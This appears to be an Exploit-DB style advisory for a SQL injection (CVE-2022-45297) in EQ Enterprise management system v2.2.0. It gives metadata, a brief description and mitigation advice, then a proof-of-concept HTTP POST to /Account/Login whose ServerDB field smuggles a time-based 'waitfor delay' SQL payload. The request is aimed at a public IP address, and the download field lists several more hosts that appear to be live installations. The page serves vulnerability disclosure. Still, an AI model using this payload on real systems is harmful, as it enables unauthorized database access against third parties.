EQ Enterprise management system v2.2.0 - SQL Injection

vendor:

EQ Enterprise management system

by:

TLF

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: EQ Enterprise management system

Affected Version From: EQ v1.5.31

Affected Version To: EQ v2.2.0

Patch Exists: NO

Related CWE: CVE-2022-45297

CPE: a:yiquantech:eq_enterprise_management_system:2.2.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2022

EQ Enterprise management system v2.2.0 – SQL Injection

A SQL injection vulnerability exists in EQ Enterprise management system v2.2.0. An attacker can send a specially crafted HTTP POST request to the vulnerable application in order to execute arbitrary SQL commands in the back-end database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

Exploit Title: EQ Enterprise management system v2.2.0 - SQL Injection
Date: 2022.12.7
Exploit Author: TLF
Vendor Homepage: https://www.yiquantech.com/pc/about.html
Software Link(漏洞影响应用下载链接): http://121.8.146.131/,http://183.233.152.14:9000/,http://219.135.168.90:9527/,http://222.77.5.250:9000/,http://219.135.168.90:9530/
Version: EQ v1.5.31 to v2.2.0
Tested on: windows 10
CVE : CVE-2022-45297 


POC:
POST /Account/Login HTTP/1.1 
Host: 121.8.146.131 
User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 118 
Accept: application/json, text/javascript, */*; q=0.01 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; 
charset=UTF-8 Cookie: ASP.NET_SessionId=tlipmh0zjgfdm5b4h1tgvolg 
Origin: http://121.8.146.131
Referer: http://121.8.146.131/Account/Login 
X-Requested-With: XMLHttpRequest 
Accept-Encoding: gzip
RememberPwd=false&ServerDB=EQ%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0&UserNumber=%27&UserPwd=%27